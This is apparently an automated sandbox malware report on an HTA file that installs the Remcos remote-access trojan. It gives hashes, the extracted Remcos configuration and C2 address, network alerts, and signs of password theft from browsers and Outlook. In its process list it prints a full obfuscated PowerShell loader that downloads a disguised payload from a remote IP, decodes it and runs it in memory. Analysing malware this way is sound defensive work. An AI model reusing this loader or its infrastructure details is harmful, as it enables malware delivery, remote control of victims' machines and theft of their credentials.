Analysis
- max time kernel
148s - max time network
126s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
10/09/2026, 10:23
Static task
static1
Behavioral task
behavioral1
Sample
goodthingswithbestfeatures.hta
Resource
win10v2004-20260513-en
General
- Target goodthingswithbestfeatures.hta
- Size 767KB
- Sample260910-mexycs1gkh
- SHA256 277086b6ca33f064114cac5a219b2ab32f8b0f519e4386a3244267a31c4e3e7f
- MD5 09046d60694fc9821854302582ca1ff3
- SHA1 7b23caad30591bc4132954d81d1e0571fab23e4e
- SHA512 63d2df482cfbe75a4fb229b638ac83d4b0c4cc7ffccb505c1f5fe6b11a1e036b896efc57a4e894a8fdd501eff62d56789ce93aca00edb009434bad7c07ba9deb
- SSDEEP 6144:FiDJa+NNLgOFcdw0bZOhUv81zlHjMBgRfxAyN5pkecQeGFiO5Fa:9
- TLSH T197F457BB9D604D62137362364718BB33A8F0926F6601E52AF76D4B493BF940F530E99C
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
ps1
-
exe.dropper
http://69.12.83.176/img/MSI_PRO_Latest.png
Extracted
-
remcos
-
6.0.0 Pro
-
zg71
-
107.172.13.250:7122
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-C9X6OO
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Suricata alert: REMCOS RAT Malware Inbound C2 Communication 9 IoCs
Network activity triggered a Suricata alert
flow pid Process 3 4236 Caspol.exe 3 4236 Caspol.exe 3 4236 Caspol.exe 3 4236 Caspol.exe 3 4236 Caspol.exe 3 4236 Caspol.exe 3 4236 Caspol.exe 4 4236 Caspol.exe 4 4236 Caspol.exe - Suricata alert: REMCOS RAT Malware Outbound C2 Communication 11 IoCs
Network activity triggered a Suricata alert
flow pid Process 3 4236 Caspol.exe 3 4236 Caspol.exe 3 4236 Caspol.exe 3 4236 Caspol.exe 3 4236 Caspol.exe 3 4236 Caspol.exe 3 4236 Caspol.exe 4 4236 Caspol.exe 4 4236 Caspol.exe 4 4236 Caspol.exe 4 4236 Caspol.exe - Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4860 4868 powershell.exe 89 - Detected Nirsoft tools 3 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
resource yara_rule behavioral2/memory/4900-32-0x0000000000400000-0x0000000000478000-memory.dmp Nirsoft behavioral2/memory/2396-35-0x0000000000400000-0x0000000000462000-memory.dmp Nirsoft behavioral2/memory/3904-36-0x0000000000400000-0x0000000000424000-memory.dmp Nirsoft - NirSoft MailPassView 1 IoCs
Password recovery tool for various email clients
resource yara_rule behavioral2/memory/2396-35-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView - NirSoft WebBrowserPassView 1 IoCs
Password recovery tool for various web browsers
resource yara_rule behavioral2/memory/4900-32-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView - Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 1 4860 powershell.exe 2 4860 powershell.exe - Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts Caspol.exe - Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook Caspol.exe Key enumerated \REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook Caspol.exe Key queried \REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook Caspol.exe -
pid Process 4860 powershell.exe - Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 4860 set thread context of 4236 4860 powershell.exe 92 PID 4236 set thread context of 4900 4236 Caspol.exe 93 PID 4236 set thread context of 2396 4236 Caspol.exe 94 PID 4236 set thread context of 3904 4236 Caspol.exe 95 - System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Caspol.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Caspol.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Caspol.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Caspol.exe - Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 4860 powershell.exe 4860 powershell.exe 4900 Caspol.exe 4900 Caspol.exe 3904 Caspol.exe 3904 Caspol.exe 4900 Caspol.exe 4900 Caspol.exe - Suspicious behavior: MapViewOfSection 3 IoCs
pid Process 4236 Caspol.exe 4236 Caspol.exe 4236 Caspol.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4860 powershell.exe Token: SeDebugPrivilege 3904 Caspol.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 4860 wrote to memory of 4236 4860 powershell.exe 92 PID 4860 wrote to memory of 4236 4860 powershell.exe 92 PID 4860 wrote to memory of 4236 4860 powershell.exe 92 PID 4860 wrote to memory of 4236 4860 powershell.exe 92 PID 4860 wrote to memory of 4236 4860 powershell.exe 92 PID 4860 wrote to memory of 4236 4860 powershell.exe 92 PID 4860 wrote to memory of 4236 4860 powershell.exe 92 PID 4236 wrote to memory of 4900 4236 Caspol.exe 93 PID 4236 wrote to memory of 2396 4236 Caspol.exe 94 PID 4236 wrote to memory of 3904 4236 Caspol.exe 95 - outlook_office_path 1 IoCs
description ioc Process Key queried \REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook Caspol.exe
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\goodthingswithbestfeatures.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- System Location Discovery: System Language Discovery
PID:908
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('$domamopivucejotelaruyalifubodeqirukowolimagijeyulitatohahubumunequjatexofehubowirisawijidaweluyecexe=''http://69.12.83.176/img/MSI_PRO_Latest.png''; $sudulisusesugaduzowuwejucemicufomemafagakobakelufiniluvayahividudukelucayozibeferunugubesiyumavimono = [System.Net.HttpWebRequest]::Create($domamopivucejotelaruyalifubodeqirukowolimagijeyulitatohahubumunequjatexofehubowirisawijidaweluyecexe); $sudulisusesugaduzowuwejucemicufomemafagakobakelufiniluvayahividudukelucayozibeferunugubesiyumavimono.UserAgent = ''Mozilla/5.0''; $kaxupifuwakefogizisaqacebogenomojupicowatorohumogoxibusezukimiyakazigahijibayimobujisavowiwenifozocu = $sudulisusesugaduzowuwejucemicufomemafagakobakelufiniluvayahividudukelucayozibeferunugubesiyumavimono.GetResponse().GetResponseStream(); $nesucusisizuguvujageyapuqiyaderajiseyadanisabosigabimoleresufagivesotoqenugofajoqodotikodiyuyilehame = New-Object IO.StreamReader($kaxupifuwakefogizisaqacebogenomojupicowatorohumogoxibusezukimiyakazigahijibayimobujisavowiwenifozocu); $jepaxoyuzewihihegaleyomatewimuhixijicegesewizaneqeyanoyaruqukuvujihewixusuwemaroraxuzudezerajopatume = $nesucusisizuguvujageyapuqiyaderajiseyadanisabosigabimoleresufagivesotoqenugofajoqodotikodiyuyilehame.ReadtoEnd(); $teyuwigohofirirepugizayumotanubonugiyopatubexigulofupocisiviqocopecacajotirejotesevixoqitoxuvukuxowe=''IN-''; $neduzojegomaduyunihayehuhimurevogayeyuwekirahinipifuqexozabotihawoyacebasapujulototehokuduqilihacoto=''-in1''; $vuraqopinikimuvibulazanihufinatusebutelonoxujazesigequtumetejeqomakataxicabofivagudekinomozagetexira=$jepaxoyuzewihihegaleyomatewimuhixijicegesewizaneqeyanoyaruqukuvujihewixusuwemaroraxuzudezerajopatume.IndexOf($teyuwigohofirirepugizayumotanubonugiyopatubexigulofupocisiviqocopecacajotirejotesevixoqitoxuvukuxowe); $nimupumoceqetiberexajusegiminisodibujusurikolimukuxopoviruvobuvumumiyuliyeqiroticicekanevofatoqunugo=$jepaxoyuzewihihegaleyomatewimuhixijicegesewizaneqeyanoyaruqukuvujihewixusuwemaroraxuzudezerajopatume.LastIndexOf($neduzojegomaduyunihayehuhimurevogayeyuwekirahinipifuqexozabotihawoyacebasapujulototehokuduqilihacoto); if($vuraqopinikimuvibulazanihufinatusebutelonoxujazesigequtumetejeqomakataxicabofivagudekinomozagetexira -eq -1 -or $nimupumoceqetiberexajusegiminisodibujusurikolimukuxopoviruvobuvumumiyuliyeqiroticicekanevofatoqunugo -eq -1){return}; $yigukujacefaquviwowizugaqocizodilaxedacahipicarupugusesihaqohobaninurufazomipubapotuzepayewomiyafitu=$vuraqopinikimuvibulazanihufinatusebutelonoxujazesigequtumetejeqomakataxicabofivagudekinomozagetexira+$teyuwigohofirirepugizayumotanubonugiyopatubexigulofupocisiviqocopecacajotirejotesevixoqitoxuvukuxowe.Length; $tunehumicubiqeqojoyuvajupafixemikazifoperenobiyazecesoqepisesewepobukawobifototiyeqoyafokopaparepoka=$jepaxoyuzewihihegaleyomatewimuhixijicegesewizaneqeyanoyaruqukuvujihewixusuwemaroraxuzudezerajopatume.Substring($jepaxoyuzewihihegaleyomatewimuhixijicegesewizaneqeyanoyaruqukuvujihewixusuwemaroraxuzudezerajopatume.IndexOf($teyuwigohofirirepugizayumotanubonugiyopatubexigulofupocisiviqocopecacajotirejotesevixoqitoxuvukuxowe)+$teyuwigohofirirepugizayumotanubonugiyopatubexigulofupocisiviqocopecacajotirejotesevixoqitoxuvukuxowe.Length, $nimupumoceqetiberexajusegiminisodibujusurikolimukuxopoviruvobuvumumiyuliyeqiroticicekanevofatoqunugo-($jepaxoyuzewihihegaleyomatewimuhixijicegesewizaneqeyanoyaruqukuvujihewixusuwemaroraxuzudezerajopatume.IndexOf($teyuwigohofirirepugizayumotanubonugiyopatubexigulofupocisiviqocopecacajotirejotesevixoqitoxuvukuxowe)+$teyuwigohofirirepugizayumotanubonugiyopatubexigulofupocisiviqocopecacajotirejotesevixoqitoxuvukuxowe.Length)); $repecejumapumerocevehefuyatizelefulafefifecadazobosiguficaxororasicabigarucijubaluzeganakibenosehutu=$tunehumicubiqeqojoyuvajupafixemikazifoperenobiyazecesoqepisesewepobukawobifototiyeqoyafokopaparepoka.Replace(''*'',''A'').ToCharArray(); $qiwazeyusonutivibeliqitozununaweqozazilojosaxonipucadehahilejitoyupenofigiwugucibeyaguqugofepoquxidu = -join $repecejumapumerocevehefuyatizelefulafefifecadazobosiguficaxororasicabigarucijubaluzeganakibenosehutu[($repecejumapumerocevehefuyatizelefulafefifecadazobosiguficaxororasicabigarucijubaluzeganakibenosehutu.Length - 1)..0]; $qocenitelijoxucesodurelivukocoyawobilawoxekiregezuseqolokuvatazixigekofodajatubadosohidajowuqanevahi = [Type]::GetType(''System.Convert''); [byte[]]$siqukofuvamebuforufelemitofekoqesomebojiqinocucuwipuraqoxopesahucawalogevoqewojowapokewoloreyujuxuqi = $qocenitelijoxucesodurelivukocoyawobilawoxekiregezuseqolokuvatazixigekofodajatubadosohidajowuqanevahi.GetMethod(''FromBase64String'').Invoke($null, (, $qiwazeyusonutivibeliqitozununaweqozazilojosaxonipucadehahilejitoyupenofigiwugucibeyaguqugofepoquxidu)); $penejajabinivoyugutiwitosoqinojagefipeduxelexuvurinibolevidadomekofexasozepolesofexivopequqagexibile=[AppDomain]::CurrentDomain.GetType().GetMethod(''Load'', [byte[]]); $quvoronuhizuvimocihenojuduqizevazikenawaqinipesedujisowokokekunukuxakafirohiniwududemedaximizigofefa=$penejajabinivoyugutiwitosoqinojagefipeduxelexuvurinibolevidadomekofexasozepolesofexivopequqagexibile.Invoke([AppDomain]::CurrentDomain, (,$siqukofuvamebuforufelemitofekoqesomebojiqinocucuwipuraqoxopesahucawalogevoqewojowapokewoloreyujuxuqi)); $waninonorojulequlopariqezopajodajuhodejesafuhovayazoqaxafasulehenorucovowebohatesezepefezoleceyojowo=(''oatGSI4xXK9Mv1JDEKW5vi1uNtS3GmjPU3rtohoiZjjjhrgRfxFDE/6rfisZlbPFnGO7MvQOqhFZx2hgCR09Sg=='','''',''hcDvokEWoYxgiXOc/B4HnjII3XpWsn9RHectl6QsdLnaufnXh3jmh7ZADvvIAUW2'',''6aOT5W7qNBmq3kZXbabcriIIrVk9uigtO4RJPNBxvUU='',''9iETn0kOlakOflC2Y8tWG/1AOfi+OYcZc5rWnxoCuqA='','''',''LMYycJd1gYwLHl8mFF3LnL+E/Oeq0j74FBlLSw9kZKM='','''',''LkYxCwzfcKDhsyS2QjV12HgdTeEkPVDLwZa+DghY9bM='',''Qal9d/TkRo1PwNuoflhITEcH/GkHofcziETwzLUlJRVZ3N0TjOhPUp0d/AzDhgh5'',''dwR7Pak3an5C7vWWBwUbu70bEwEukrydVV3swtSztQY='',''LlUZ7Jw/s/RaLo4oMX6c8xS4NMXN5gMuJZTB1QlCBeQ='',''Zv8ev7FNptdMzSz94AhyFuXwUzmJuwvvsoRhTIZ5FNY='','''',''6P2xoi+yTx1GAbSeUIXblaBJeO1JN+akkwkQm6C71xg='',''mZCTICDGym+YV0DsgiVfKgwTqFZWdvzzkVsKtfzm0B4='','''','''',''''); try{ $jiduyebaluxigizezikaduhunutepoceduromokuvicaxoxekozarugefodohakesobogihocemilicadagehelunodenigaleja=($quvoronuhizuvimocihenojuduqizevazikenawaqinipesedujisowokokekunukuxakafirohiniwududemedaximizigofefa.GetTypes() | Where-Object Name -eq ''gfffffffffffffffffffffffffff'' | Select-Object -First 1); $xofawubobufomomopisusimafidulanowokedihavakoduhasesoparulekugifizocecipivayituhuhubuwinotiwexunuqule=($jiduyebaluxigizezikaduhunutepoceduromokuvicaxoxekozarugefodohakesobogihocemilicadagehelunodenigaleja.GetMethods() | Where-Object Name -eq ''hhhhhhhhhhhhhhhhhhhhhhhhh'' | Select-Object -First 1); $xofawubobufomomopisusimafidulanowokedihavakoduhasesoparulekugifizocecipivayituhuhubuwinotiwexunuqule.Invoke($null,[object[]]$waninonorojulequlopariqezopajodajuhodejesafuhovayazoqaxafasulehenorucovowebohatesezepefezoleceyojowo) }catch{}'))"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4860 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"2⤵
- Suricata alert: REMCOS RAT Malware Inbound C2 Communication
- Suricata alert: REMCOS RAT Malware Outbound C2 Communication
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4236 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe /stext "C:\Users\Admin\AppData\Local\Temp\wbgzziveszkdbyqroosexrpjtw"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:4900
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe /stext "C:\Users\Admin\AppData\Local\Temp\gvlkaagfghcimmmvxrfgawkscdcesf"3⤵
- Accesses Microsoft Outlook accounts
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- outlook_office_path
PID:2396
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe /stext "C:\Users\Admin\AppData\Local\Temp\jyqcbtrzcpuvotazocszljwjkjmntqhan"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3904
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\wbgzziveszkdbyqroosexrpjtw
- Size 2B
- SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
- MD5 f3b25701fe362ec84616a93a45ce9998
- SHA1 d62636d8caec13f04e28442a0a6fa1afeb024bbb
- SHA512 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84
- MD5 SHA1 SHA512